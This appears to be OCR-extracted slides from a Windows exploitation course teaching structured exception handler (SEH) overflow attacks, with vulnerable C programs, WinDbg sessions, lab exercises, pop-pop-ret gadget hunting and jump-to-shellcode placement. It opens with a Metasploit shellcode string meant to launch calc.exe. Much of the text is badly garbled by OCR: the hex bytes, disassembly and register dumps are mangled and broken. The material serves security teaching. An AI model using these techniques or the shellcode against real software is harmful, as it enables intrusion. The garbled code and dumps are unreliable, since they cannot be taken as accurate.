"AX8bAX52\x0c\x8b\ X5 2\ x14\x8b\x72\x2 8\ x0T\ xb7\x4a\x26\x3 1\ xff"
"AxI I\ xcO\xac\x3c\xb1\x7 cA\x02\x2 c\x2 0\ xc1\xcFAx0d\x01\xc7\xe2"
"AXTONXS 2AXS 7AXBbAXS 2\ X1 0\ X8b\ x4 2\ x3 c\x01\xd 0\ xBb\ x4 0\ x78\x85"
"AXxcOAX7 4\ x4 a\x01\xd O\ x50\ x8b\ x4 B8\ X1 8\ xBb\x58\x20\x01\xd3\xe3"
"AX3I A\ x4 9\ x8b\x34\x8b\x01\xdb\x3 1\ xFF\x31\xcO0\xac\xcl\xcfix0d"
"AX01AXc7AXx38\xe 0\ X7 S5\ xTFA\X0 I\ X7 dA\XFBA\X3IbAX7d\x24\x7 5\ xe2\x58"
"Ax8bAXx58A\Xx24\x01\xd I\ x66 \x8b\x0cA\x4b\xBb\x58\x1c\x01\xd3\x8b"
"AXx04\XBbAX0 1\ xd O\ X8I\ x44\x24 \x2 4\ x5b A\ X5 b A X6 1\ x59\x5a\x5 1\ xff"
"Axe 0\ X5 8AXS FAXx5a\x8b\x12\xeb\x86\x5d\x6a\x01\xB8d\x85\xb9\x00"
"AX00NAX00AX5 0\ X6 B A\X3 LI\ XBbAXO FAXB7A\XTFFAXd5\xbb\xTO\xb5\xa2\x56"
"Ax68\xab\x95\xbd\ x9d\ xTFFAxd5\x3cA\x06\x7c\x0a\xB0\xFfb\xe0\x75"
"AXx05\xbb\x4 7\ x1 3\ X7 2\ x6 A x6a\x00\ x5 I\xFFAxd5\x63\x61\xbc\xH63"
"A\x2e\xb65\x78\x65\x00";

C:\class\metasploit>

* metasploit is very handy for is generating
shellcode that fits your criteria.



Mystery Vuln Lab

Mystery.exe contains a vulnerability similar to
the basic_vuln.exe we first looked at.

However, the functionality is slightly different
and this time you don’t have source code.

You’ll have to use your trusty debugger to
identify the vulnerability, trigger it, and use the
shellcode from the previous slide to spawn
calc.exe.

Hint: start set a breakpoint on the main function,
so you can look at its disassembly to try to figure
out what’s going on.



Abusing Windows Features

* The Windows operating system provides us
lots of useful “features” that are useful from
an attacker stand point.

e Often these features can be leveraged when
performing an exploit to help gain control of
EIP, defeat an exploit mitigation, etc...

* One such important feature is Windows
Structured Exception Handlers.



SEH

19 #include <stdio.h>

31| int MyExceptionHandler()ﬂ

59 void function()

5 {

7 unsigned int*ptr;

' ptr = {unsigned int *)0xdeadbeef;
9; _ try {
10 //this will cause an exception
11 *ptr = 0x41414141;
12¢ } _ except (MyExceptionHandler()) {}
133] }
144L
155 int MyExceptionHandler ()
163 {
17 printf ("MyExceptionHandler () calledin"):
18; return 0;
193] }
20]L
215 1int main()
221 {
23 function():
Al

Exception Handlers provide us a means to detect an error
condition in our program, and try to correct it.

In the above example, the dereferrence on line 7 will cause
an exception and our exception handler will be called. 77



FILE *fp;

unsigned char buf[64];
unsigned int i;
unsigned int n;

menset (buf, 0x00, 64) ;

printf ("address of buf: 0x%08x\n", &buf[0]);
fp = fopen(file, "r");
if (fp == NULL)
{
printf ("Can't open filein");
return;
}
n = fread(buf, 1, 128, fp):
printf ("read %d bytes\n", n);
for (i=0;i<sizeof (buf);i++)
{
if (1i%16==0&&i!=0)
printf ("\n");
printf ("$02x ", buf[i]);
}
printf ("\n");
.nt main(int argec, char **argv)
printf ("address of nops is: 0x%08x\n", nops);

printf ("address
printf ("address

of prize is:
of hexdunp_ file is:

0x%08x\n", prize):;
0x%08x\n",

if (argc = 2)
{

hexdunp_file);

Microsoft (R) Windows Debugger Version 6.11.0001.404 X86
Copyright (c) Microsoft Corporation. All rights reserwved.
CommandLine: basic_vuln C:\hellothere.bin

Symbol search path is: SRV*C:\WINDOWS\ Symbols*http://msdl.microsoft.c
Executable search path is:

ModLoad: 00400000 00406000 basic_vuln.exe

ModLoad: 7c<¢900000 7<9b2000 ntdll.dll

ModLoad: 7c800000 7c8£6000 C:\WINDOWS\system32\kernel32.dll
ModLoad: 78520000 785<3000 C:\WINDOWS\Wingx8\x86_Microsoft.vC90.CRI
(d7c.bB88): Break instruction exception - code 80000003 (first chance)

eax=00261leb4 ebx=7ffdf000 ecx=00000005 edx=00000020 e=si=00261f48 edi=
eip=7c90120e esp=0013fb20 ebp=0013fc94 iopl=0 nv up ei pl nz

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=
ntdll!DbgBreakPoint:
7c90120e cc int 3

0:000> g @@masm (*c:\class\basic_vuln\basic_vuln\main.c:17+%)

ModLoad: 5cb70000 S5cb96000 C:\WINDOWS\system32\ ShimEng.dll
eax=000331laf ebx=00000000 ecx=7855215¢c edx=00033198 e=i=00000001 edi=
eip=00401026 esp=0013ff20 ebp=0013ff70 iopl=0 nv up ei pl nz
cg=001b ss5=0023 ds=0023 esg=0023 fs=003b gs=0000 efl=
basic_vulnlhexdump_file+0x6:

00401026 6a4d0 push 40h
U= 000> lexchain
0013ffb0: basic_vwuln! except handler4+0 (00401765)
0013ffe0: kernel3Z! except_handler3+0 (7c83%ad8)
CRT scope 0, filter: kernel32!BaseProcessStart+29 (7cB8438ea)
func: kernel32!BaseProcessStart+3a (7¢c843900)

valid exception stack at ffffffff

* Even without the try/except clause, exception handlers are
still in place and exception handling is still happening.

* There is always at least one exception handler installed
(there can be many) courtesy of Windows.

* You can view the list of currently registered exception
handlers with the WinDBG “lexchain” command. .



0:000> lteb

TEB at 7ffde000
ExceptionList: 0013ffhb0
StackBase: 00140000

SEH STRUCTURE

0:000> dd 13ffb0 LZ
0013ffb0 0013ffe0 00401765
0:000> dd 13ffel LZ
0013ffe0 fEfffffff 7cB839%ads

StackLimit: 00136000

 The Exception Handlers are stored in a linked list.
The head of this list is stored in the TEB.

Each

entry in the Exception Handler linked list

contains 2 32 bit pointers. The first pointer is to
the next entry in the Exception Handler linked

list.
hano
exce

"he second pointer is to the actual exception
ler code to be called in the event of an
otion.

OxFF

-FFFFF in the next entry position indicates

the end of the linked list.



Important Points

* The Exception Handler list is stored on the
stack in a position that can be clobbered
during a stack overflow. (In other words, the
Exception Handler list is “above” local
variables in memory).

* The Exception Handler list contains function
pointers that are called when an exception
OCCurs.



P—q

* |f we overwrite the exception handler list then
cause an exception, we gain control of EIP.

e Causing an exception during a buffer overflow
is straight forward since we are corrupting all
kinds of stuff. In fact, our stack overflow will
cause an exception on its when we eventually
write data off the end of the stack (if we can
write a large enough amount of data).



Why Bother?

* The return address resides in between the buffer
we overflow and the exception handler list, so it
is usually corrupted before we even get to the
exception handler list. So why bother going all
the way to the exception handler list?

 That’s because the return address only allows us
to gain control of EIP when the function returns.
Thus execution has to continue gracefully until
the function returns, so we actually get EIP. If our
overflow causes an exception before the return
instruction is reached, we lose.

* Unless we overwrite the exception handler list!



lé

—Jvolid read file({char *file, int *bytes read)

{

FILE *fp;
unsigned char buf[1024];

memset (buf,0x00,1024) ;
printf ("address of buf: 0x%08x\n",

fp = fopen(file, "r");

if (fp == NULL)

{
printf("Can't open file\n");
return;

h

*bytes read = fread(buf,1,2048,fp):
fclose(fp):

* Consider the above example...

&buf [0]);
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004114d1 8b45f8 nov eax,dword ptr [ebp-8]

004114d4 S0 push eax

00411445 6800080000 push 800h

004114da 6a0l push 1

004114dc B8d8df0fbffff lea ecx, [ebp-410h]
004114e2 51 push ecx

004114e3 ££15d0824100 call dword ptr [seh_overflow!_imp fread (004182d0)] é

00411429 83c410 add esp, 10h
004114ec 3bfd CIp es1, esH

00411l4ee eBebfcffff call =eh_overflow! ILT+340(__ RTC CheckEsp) (00411159)
004114£3 8bSS0c nov edx,dword ptr [ebp+0Ch]

004114f6 8902 nov dword ptr [edzx].eax

004114£f8 8bf4 nov esi,esp

004114fa 8b45f8 nov eax,dword ptr [ebp-8]

004114£fd S0 push sax

004114fe ££15d44824100 call dword ptr [seh_overflow!_imp fclose (004182d4)]
00411504 83c404 add esp, 4

00411507 3bf4 cmp esi,esp

00411509 e84bfcffff call seh_overflow! ILT+340{__ RTC_CheckEsp) (00411159)
0041150e 52 push edx

0041150f 8bcd nov ecx, ebp

00411511 50 push eax

00411512 841534154100 lea edx, [seh_overflow!read_file+0=xf4 {(00411534)]
00411518 =883fbffff call seh_overflow! ILT+155{_RTC_ CheckStackVars (004110a0)
0041151d 58 pop eax

0041151e Sa pop edx

0041151f Sf pop edi

00411520 Se pop esi

00411521 Sb pop ebx

00411522 81c4d4040000 add esp, 4D4h

00411528 3bec cmp ebp.esp

00411525 e8lafcffff call =eh_overflow! ILT+340(__ RTC CheckE=sp) (00411159)
0041152f 8beS nov esp,ebp

00411531 &5d pop ebp

00411532 c3 ret

00411533 90 nop

00411534 0100 add dword ptr [eax].eax

Disassembly | seh_overflow.cpp

LAl MU TALusU Cep DuAeLiue sLp Duacriiw aopa U
ce=001b =s=0023 ds=0023 es=0023 {==003b gs=
seh_overf low!mnain:

00411590 S5 push ebp

0:000> g @@masn{ seh_overflow!c:\class\seh_overf
2ax=10311448 ebx=7f{d4000 ecx=btebbeecl e=dxz=00343
eip=004114cf esp=0012f{9a0 ebp=0012fe80 iopl=0
ce=001b =s=s=0023 ds=0023 es=0023 {==003b gs=
seh_overf low!read_file+0=8f:

004114cf 8bfd nov esi,esp

0:000> g Ox"41ldec

eax=00000440 ebx=7f{d4000 ecx=bbebbefl edz=00343
eip=004114ec esp=0012f{9a0 ebp=0012fe80 iopl=0
ce=001b =s=0023 ds=0023 es=0023 {==003b gs=
seh_overflow!read_file+0xac:

004114ec 3bfd cmp esi,esp

0:000> dd ebp

0012fe80 deadbeef deadbeef deadbeef deadbeef
0012fe90 deadbeef deadbeef deadbeef deadbeef
0012feal deadbeef deadbeef deadbeef deadbeef
0012febl cccocccococc cococcocccc CCCoCCcC CCCCCCCo
0012fecl cccocccocc cococcocccc CCCCCCCC CCCCCCCo
0012fed0 cccocccococc cococcocccc CCCoCCcC CCCCCCCo
0012feel cccoccococc cococcocccc CCCCCCCC CCCCCCCo
0012fefl cccocccococc cococcocccc CCCoCcccC CCCCCCCo

[0:000> |

* | have set and hit a break point directly after the

vulnherable fread call.

* At this point | have smashed the stack,
overwritten the return address, and will soon

achieve great glory.
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*bytes_read = fread(buf.1l,2048.fp):
fclose(fp):

int main{int argc, char **argv)

int n;

printf("address of prize is: 0xX08x\n",

printf("address of n is: %=z \n",
n = 0x11223344;
if (argc != 2)

printf("usage: %= filenamen",

return -1;

¥

read_file(argv[l]. é&n):

printf("read_file reported reading %d bytes n".n):

return 0;

prize):

argv[0]):

eip=004114cf esp=0012f9a0 ebp=0012fe80 iopl=0 nv up ei pl nz na pe nc
ce=001b =s=0023 ds=0023 es=0023 f{==003b gs=s=0000 efl=00000206
seh_overflow!read_ file+0x8f:

004114cf 8bfd nov esi,esp

0:000> g Ox"4l1ll4ec

eax=00000440 ebx=7{f{d4000 ecx=bbfebbefl edx=003432c8 e=si=0012f{9a0 edi=0012fe80
eip=0041l4ec esp=0012f9a0 ebp=0012{fe80 iopl=0 nv up i pl nz na pe nc
ce=001b s==s=0023 d=s=0023 es=0023 {==003b gs=0000 efl=00000206
=eh_overflow!read_file+Oxac:

004114ec 3bfd cnp esi,esp

0:000> dd ebp

0012f=e80 deadbeef deadbeef deadbeef deadbeef

0012fe90 deadbeef deadbeef deadbeef deadbeef

0012feal deadbeef deadbeef deadbeef deadbeef

0012febl ccccoccococc cocccocccc CCCCCCCC CCCCCCCC

0012fecl cccccoccococc coccccccc CCCCCCCC CCCCCCCC

0012fed0 cccccoccococc cocccocccc CCCCCCCC CCCCCCCC

0012feel cccccoccocc cccccccC CCCCCCCC CCCCCCCC

0012fefl cccococcococc cococcocccc CCCCCCCC CCCCCCCC

0:000> g

(bbd .c04): Access wviolation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

e2ax=00000440 ebx=7f{d4000 ecx=btetbefl edx=deadbeef esi1i=0012f9a0 edi=0012f=80
eip=004114f6 esp=0012f{9a0 ebp=0012{fe80 iopl=0 nv up i pl zr na pe nc
ce=001b ==s=0023 d=s=0023 es=0023 {==003b gs=0000 efl=00010246
=eh_overflow!read_file+0xb6:

004114f6 8902 nov dword ptr [edx].eax ds:0023:deadbeef=7?7?7?77?7?7?7?
0:000> g
(bbd .c04): Access wviolation - code c0000005 (!!! second chance !!1)

e2ax=00000440 ebx=7f{f{d4000 ecx=btetbefl edx=deadbeef e=si=0012f9a0 edi=0012f=80
eip=004114f6 esp=0012{f9a0 ebp=0012f=80 iopl=0 nv up 21 pl zr na pe nc
ce=001b =s=0023 d=s=0023 es=0023 {==003b gs=0000 efl=00000246
=eh_overflov!read_file+0xb6:

004114f6 8902 nov dword ptr [edx].eax ds:0023:deadbeef=7?7?7?77?7?77?

* No Oxdeadbeef for me.

* On my way to glory, | also destroyed some local
variables, including the file pointer used by fread.

* The call to fclose then crashed the application,
and my corrupted return address was never

used.
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Once more...

e Last time | only wrote enough data to smash
the stack and overwrite the return address
(plus a little bit extra because | was too lazy to

calculate exact offsets).

* This time | will write a lot more in an attempt
to overwrite the exception handler list as well.



0041149c 50 push sax
0041149d ££15cc824100 call dword ptr [seh_overflow!_imp fopen (004182cc)]

00411423 83c408 add esp, 8

004114a6 3bfd4 cmp esi,esp

00411458 el8acfcffff call seh_overflow! ILT+340{__ RTC_ CheckEsp) (00411159)
004114ad 8945f8 nov dword ptr [ebp-8].eax

004114b0 837d4£800 cmp dword ptr [ebp-8].0

004114b4 7519 jne seh_overflow!read_file+0=x8f {(004114cf)

004114b6 8bf4 nov esi,esp

004114b8 684c574100 push offset =eh_overflow! string' (0041574c)
004114bd ££15dc824100 call dword ptr [seh_overflow!_imp printf (004182dc)’
004114c3 83c404 add esp. 4

004114c6 3bfd4 cmp esi,esp

004114c8 e88cfcffff call seh_overflow! ILT+340{__ RTC_ CheckE=sp) (00411159)
004114cd eb3f Jnp seh_overflowv!read_file+0=zce (0041150e)

004114cf 8bfd4 nowv esi,esp

004114d1 8b45f8 nov eax,dwvord ptr [ebp-8]

004114d4 S0 push eax

004114d5 6800080000 push 800h

004114da 6all push 1

004114dc 8d8df0fbffff lea ecx, [ebp-410h]

0041142 51 push ecx

0041143 ££15d40824100 call dword ptr [seh_overflow!_imp fread (004182d0)]
0041149 83c410 add esp, 10

004114ec 3bfd Ccmp esi,esp

004114ee e8bbfcffff call seh_overflow! ILT+340{__ RTC CheckE=sp) (00411159)
004114£3 8bSS0c nov edx,dword ptr [ebp+0Ch]

0D4114f6 8902 nov dword ptr [edx].eax

004114£f8 8bfd nov esi,esp

004114fa 8b45f8 nov eax,dword ptr [ebp-8]

004114£fd S0 push eax

004114fe ££15d4824100 call dword ptr [seh_overflow!_imp fclose (004182d4)°
00411504 83c404 add esp. 4

00411507 3bfd Ccmp esi,esp

00411509 e84bfcffff call seh_overflow! ILT+340(__ RTC_CheckEsp) {(00411159)
0041150e 52 push ed=

0041150f 8bcd nov ecx, ebp

00411511 50 push eax

00411512 841534154100 lea edx, [seh_overflow!lread_file+0=xfd4 (00411534)]
00411518 =883fbffff call seh_overflow! ILT+155(_RTC_ CheckStackVars {(00411(
0041151d 58 pop eax

0041151e Sa pop ed=

0041151f 5f pop edi

00411520 Se pop esi

00411521 Sb pop ebx

00411522 81c4d4040000 add esp, 4D4h

00411528 3bec cmp ebp.esp

00411525 eB2afcffff call seh_overflow! ILT+340(__ RTC_CheckEsp) (00411159)
0041152f 8beS nov esp.ebp

00411531 &d pop ebp

nN411532 ~3 Tt

< >

Nicassemhly eah Averflaw fnn

UyulLJouuloO
0012ffa8
0012ffad:

0:000> dd
0012fe80
0012£fe90
0012feal
0012febd
0012fech
0012fedD
0012feed
0012fefD
0:000> dd
0012fe80
0012£fe90
0012feal
0012febld
0012fech
0012fedD
0012feed
0012fefD
0:000> dd
0012fe80
0012fe90
0012feal
0012febl
0012fech
0012fed0
0012feed
0012fefl
0:000> dd
0012fe80
0012fe90
0012feal
0012febl
0012fech
0012fedD
0012feed
0012fefl
0:000> dd
0012fe80
0012fe90
0012feal
0012febl
0012fecO
0012fedD
0012feel
0012fefl

UuuuUuuLuy UUuUUuUuUUU UuuuUuulLg

0:000> dd 12ffa8 12

deadbeef

0:000> !exchain

deadbeef

ebp

deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
ebp

deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
ebp

deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
ebp

deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
ebp

deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef

deadbeef

deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef

deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef

deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef

deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef

deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef

Invalid exception stack at deadbeef

deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef

deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef

deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef

deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef

deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef

vyuuuuuul

deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef

deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef

deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef

deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef

deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef

In-nnns |

 Same break point location, lot’s more deadbeefs.
* Notice the exception handler linked list has also been corrupted.
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deadbf Oc
deadbf 0d
deadbf 0e
deadbf 0f
deadbf10
deadbf11
deadbf12
deadbf13
deadbf14
deadbf 15
deadbfl6
deadbf17?
deadbf18
deadbf19
deadbfla
deadbflb
deadbf 1c
deadbf 1d
deadbf le
deadbfl1f
deadbf 20
deadbf 21
deadbf 22
deadbf 23
deadbf 24
deadbf 25
deadbf 26

Mimmmmmenblo

Winner!

U.uuLs uu Sop
0012fe80 deadbeef deadbeef deadbeef deadbeef

0012fe90 deadbeef deadbeef deadbeef deadbeef

0012feal deadbeef deadbeef deadbeef deadbeef

0012feb0 deadbeef deadbeef deadbeef deadbeef

0012fec0 deadbeef deadbeef deadbeef deadbeef

0012fed0 deadbeef deadbeef deadbeef deadbeef

0012feel deadbeef deadbeef deadbeef deadbeef

0012fef0 deadbeef deadbeef deadbeef deadbeef

0:000> g

(b84.314): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=00000540 ebx=7{{d7000 ecx=a698al2e edx=deadbeef esi=0012f9%a0 edi=0012fe80

eip=004114f6 esp=0012f9a0 ebp=0012{e80 iopl=0 nv up ei pl zr na pe nc
cs=001b ==s=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
seh_overflow!read_file+0xbé6:

004114f6 8902 nov dword ptr [edx].eax ds:0023:deadbeef=777?7777%
0:000>

g
(b84.314): Access wviolation - code c0000005 {(first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
2ax=00000000 ebx=00000000 ecx=deadbeef edx=7c9032bc esi=00000000 =di=00000000

eip=deadbeef esp=0012{f5d0 ebp=0012£f5{f0 iopl=0 nv up ei pl zr na pe nc
cs=001b ==s=0023 ds=0023 es=0023 f=s=003b gs=s=0000 efl=00010246
deadbeef 7?77 77

In.nnn i

* | continue from the break point, the same
exception is generated during the fclose on the

corrupted pointer.

* But this time the exception handler points to
Oxdeadbeef, so | gain control of EIP!
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SEH Overflow Lab

Part 1: Exploit the SEH overflow application,
overwrite the exception handler list, cause an
exception, and cause the prize() function to be
executed.

Part 2: Next, modify your payload to try to have
the triggered exception execute some shellcode
on the stack.

Note: you will have to press ‘g’ a couple times
once windbg has encountered the exception so
that Windbg will transfer handling of the
exception to the actual application.

Note 2: Part 2 will be frustrating for you (and for
good reason), try anyways.



Part 2 Futility

There is a reason you are having a hard time
getting part 2 of the lab to work.

Due to prolific abuse of exception handler
overwrites in “in-the-wild” windows exploits,
Microsoft made the Windows Exception Handler
“smarter.”

The code responsible for parsing the exception
handler list now runs some heuristics on each
exception record structure to decide if its
acceptable or not.

If the address of the exception handler function
pointer points to the stack, it’s not acceptable.



Return 2 libc continued

* |n Exploits 1 we discussed returning to a
library function instead of returning directly to
our shellcode, in that case it was because we
couldn’t execute code on the stack.

* |n this case we can execute code on the stack
(DEP is off), we just can’t use the exception
handler to jump to the stack directly.

* |nstead, we will point the exception handler to
something not on the stack, but that
eventually transfers control to the stack.



0:000> 'teb
TEB at 7ffdd000
Exceptionlist: f794
StackBase: %ﬂ'ﬂ-
StackLimit: 00126000
SubSystemnTib: oooooooo
FiberData: 00001=e00
ArbitraryUserPointer: 00000000
Self: 7ff£dd000
EnvironmentPointer: Qoo00ooo0n
ClientId: 00000cbes . 000008cO
RpcHandle: Qoo00oo0n
Tls Storage: Qoo00oooon
PEB Address: 7f£de000
LastErrorValue: 0
LastStatusValue: c0000135|
Count Owned Locks: 0
HardErrorHode: 0
0:000> dd 12£794
0012£794 0012ffb0 7c9032bc 0012f£fL0 0012£850
0012f7ad4 7C9U0327a UULZIobe 0012ffb0 0012£f884
0012f7b4 0012£83c 00401407 785520c1 0012£868
0012f7cd4 0012ffb0 7c92a8c3 0012£868 0012f£fbL0
0D12f7d4 0012£884 0012f83c 00401407 785520c1
0D12f7e4 0012£868 785b7408 00000000 OOOOOOOO
0N12£7f4 00000000 OQOOOOOOO OOOOOOOO OOOOOOOO
0D12£804 00000000 OQOOOOOOO OOOOOOOO OOOOOOOO
0:000> dd esp 14
0012£780 7c9032a8 0012£868 0012ffb0 0012£884

* At the point when the exception handler we
specify begins executing, ESP is 8 bytes away
from the next exception handler pointer.



* This means if we point the exception handler
function pointer at a piece of code (not on the
stack) that shifts the ESP register by 8 bytes
and then does a return, we will be returning

into the 4
exception

oytes corresponding to the next
nandler pointer.

I'll draw a diagram on the board to make

things more clear...



Shift the stack by 8 and return

* |n order to point ESP at data we control (the
next exception handler pointer), and then use
that data, we need to shift the stack pointer
by 8 bytes and then perform a return.

* So we need to look for opcodes of the form:
1) Pop reg; pop reg; ret

OR

2) Add esp, 8; ret



0:000> u =seh_overflow!main 120
seh_overflow!main [c:Nclass\seh_overf lowv\seh_overf low\seh_overf lowv\seh_overt

004010a0 51 push ecx

004010al S6 push esi

004010a2 8b35a8204000 nowv esi,dword ptr [=seh_overflow!_imp  printf ((
004010a8 6800104000 push offset seh_overflow!prize (00401000)
004010ad 6844214000 push offset seh_overflow! 'string' (00402144)
004010b2 ffd6 call esi

004010b4 8d44240c lea eax, [esp+0Ch]

004010b8 50 push eax

004010b9 6864214000 push offset seh_overflow! 'string' (00402164)
004010be ffd6 call esi

004010c0 8bdc2420 nowv ecx,dword ptr [esp+20h]

004010cd 83c410 add esp, 10h

004010c7 837c240c02 Cmp dword ptr [esp+0Ch],2

004010cc =c744240444332211 mov dword ptr [esp+4].11223344h

004010d4 7413 je =eh_overflow!main+0=x49 (004010e9)
004010d6 8bl1l nowv ed=,dword ptr [ecx]

oo4010dse 52 push edx

004010d9 687c214000 push offset seh_overflow! 'string' (0040217c)
0D4010de ffd6 call esi

004010e0 83c408 add esp, 8

004010e3 83cBff or eax, 0FFFFFFFFh

004010e6 Se pop esi

004010e? 59 pop ecx

0040108 c3 ret ‘E:;“

00401029 8b5104 nowv edx,dword ptr [ecx+4]

004010ec 84442404 lea eax, [esp+d]

004010£0 50 push eax

004010£f1 52 push edx

004010f2 eB19ffffff call s=eh_overflow!read_£file (00401010)
004010£f7 8bdd240c nowv eax,dword ptr [esp+0Ch]

004010fb S0 push eax

004010fc 6890214000 push offset seh_overflow! 'string' (00402190)

* Lucky for us, pop reg; pop reg; ret is a common
instruction sequence in Windows.

* Since this code is not on the stack, the exception
handler list parsing code will accept it as a valid
function pointer to an exception handler. s



What next?

* The pop-pop-ret instruction executed when
an exception occurs will load the address of
the pointer to the next exception handler as
the EIP. We control the bytes at this address,
but we only have 4 bytes to work with before
we overwrite the exception handler function
pointer to pop-pop-ret (and we need that in
tact).

 What's the best 4 byte shellcode in the world?



OxCC OxCC OxCC 0OxCC

For now, use 4 bytes of OxCC as your shellcode,
which is just 4 software break points.

So modify your SEH exploiting payload to
overwrite the exception handler function pointer
with the pop-pop-ret sequence we found

previously.

Also, overwrite the next_exception_handler
nointer with OxCCCCCCCC.

f you did it right, WinDBG should break like its
nit a breakpoint when it starts executing your 4
oyte shellcode.




No prior disassembly possible
0012ffb0 cc int

0012ffbl
0012ffb2
0012f£fb3
0012ffbd
0012ffb6
0012f£fb7
0012ffbd
0012ffbf
0012ffecl
0012ffec3
0012ffch
0012ffce
0012££d3
0012f£dS
0012££d7
0012ffda
0012ffdc
0012ffde
0012ffdf
0012ffel
0012ffe2
0012ffe3
0012ffed
0012ffea
0012f££2
0012fff4
0012ff£f6
0012f££8
0012f££9
0012fffc
0012fffe
00130000
00130001
00130005
00130007
00130009
0013000b
00130012
00130014
00130016
00130018
0013001a
0013001c
0013001e
00130020
00130022

cc int
cc int
cc int
e610 out
40 inc
002289708800 add
oooo add
o0ofo add
ff12 call
007770 add
817cf2f6b90062f7 cmp
bo0000f0fd nov
7fed Jig
b654 nov
80c8ff or
1200 adc
2000 and
fs cmnc
85ff test
ff 7
ff 77
ff ?77?
dB89a837c8070 fcomp
817c000000000000 cmp
oooo add
oooo add
oooo add
ad lods
134000 adc
oooo add
oooo add
41 inc
63747820 arpl
oooo add
0001 add
0ooo add
009c240000c400 add
oooo add
oooo add
oooo add
2000 and
oooo add
oooo add
oooo add
1400 adc
noooo add

[IESUEIN] L0

10h.al
eax

byte ptr [edz+88708%h].ah
byte ptr [eax].al

al.dh

dvord ptr [edx]
byte ptr [edi+70h].dh

dvord ptr [edz+esi*8-0ih],0F76200B%h

ecx, OFDF00000h

0012ffc2
dh,S54h
al,0FFh

al,byte ptr [eax]
bvte ptr [eax].al

edi,edi

dvord ptr [edz+70807C83h]
dword ptr [eax+eax].0
byte ptr [eax].al

byte ptr [eax].al

byte ptr [eax].al

dvord ptr [esi]

eax,.dword ptr [eax]

byte ptr
byte ptr
ecx

word ptr
byte ptr
byte ptr
byte ptr
byte ptr
byte ptr
byte ptr
byte ptr
byte ptr
byte ptr
byte ptr
byte ptr
al.0

byte ptr

[eax].al
[eax].al

eax+edi*2+20h], =1

eax].al
ecx],al
sax],.a
esp+DC4DDUUh] bl
eax],.al
eax].al
eax].al
eax].al
eax],al
eax].al
eax].al

[eax].al

Customize...

Reg Value

gs 0

fs 3b

es 23

ds 23

edi 0

esi 7c9032a8
<

| Registers | Locals Scratch Pad

Hicrosoft (R) Windows Debugger Version 6.11.0001.404 X386
Copyright (c) Hicrosoft Corporation. All rights reserved.

CommandLine: seh_overflow.exe C:\class\seh_attack_file3

Symbol search path is: SRV*C:\WINDOWS\Symbols*http://m=sdl. microsoft.com/download
Executable search path is:
ModLoad: 00400000 00406000
ModLoad: 7c900000 7c9b2000
ModLoad: 7c800000 7cB8f6000 CA\WINDOUS\systemnd2 \kernel32 . dl

ModLoad: 78520000 785c3000 C:\WINDOWS\WinS=S\x86_Microsoft. VC9U CRT_1£fc8b3b%al
{(b74.3f0): Break instruction exception — code 80000003 (first chance)
eax=00251ebd ebx=7f£fdf000 ecx=00000005 edx=00000020 esi=00251£f48 edi=00251ebd
eip=7c90120e esp=0012fb20 ebp=0012fc9%4 iopl=0 nv up i pl nz na po nc
cs=001b ===0023 ds=0023 es=0023 f{==003b gs=0000 efl=00000202
ntdll ! DbgBreakPoint :

7c90120e cc int 3

0:000> g

(b74.3f0): Access violation - code c0000005 {(first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=0000044c ebx=00000000 ecx=41414141 edx=003431e8 es1=785b7408 edi=785520c1
eip=00401085 esp=0012{b50 ebp=0012ffc0 iopl=0 nv up ei pl nz na po nc
cs=001b ===0023 ds=0023 es=0023 f{==003b gs=0000 efl=00010202
seh_overflow!read_file+0x75:
00401085 8901 nov
0:000> g

(b74.3f0): Access violation — code c0000005 {(first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

2ax=00000000 ebx=00000000 ecx=0012£{868 edx=7c9032bc esi=7c9032a8 edi=00000000
eip=0012ffb0 esp=0012{78c ebp=0012f{7a0 iopl=0 nv up ei pl zr na pe nc
cs=001b =s=0023 ds=0023 es=0023 {fs=003b gs=0000 efl=00010246
0012££fb0 cc int

seh_overf lowv. exe
ntdll.dll

* This is what you should see when you are
successfully executing your 4 byte shellcode.
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Weaponized 4 byte shellcode

* In the real world you want your shellcode/exploit
to do something beyond triggering a breakpoint.

 The 4 byte shellcode you should actually be using
is an x86 relative jump instruction to somewhere
that contains your real shellcode.

* The canonical example is to overwrite the
next_exception_handler pointer with a jmp 6
instruction, and then place your shellcode
directly after the overwritten exception handler
function pointer. Then when the jmp 6 is
executed, it will jmp directly to your shellcode.



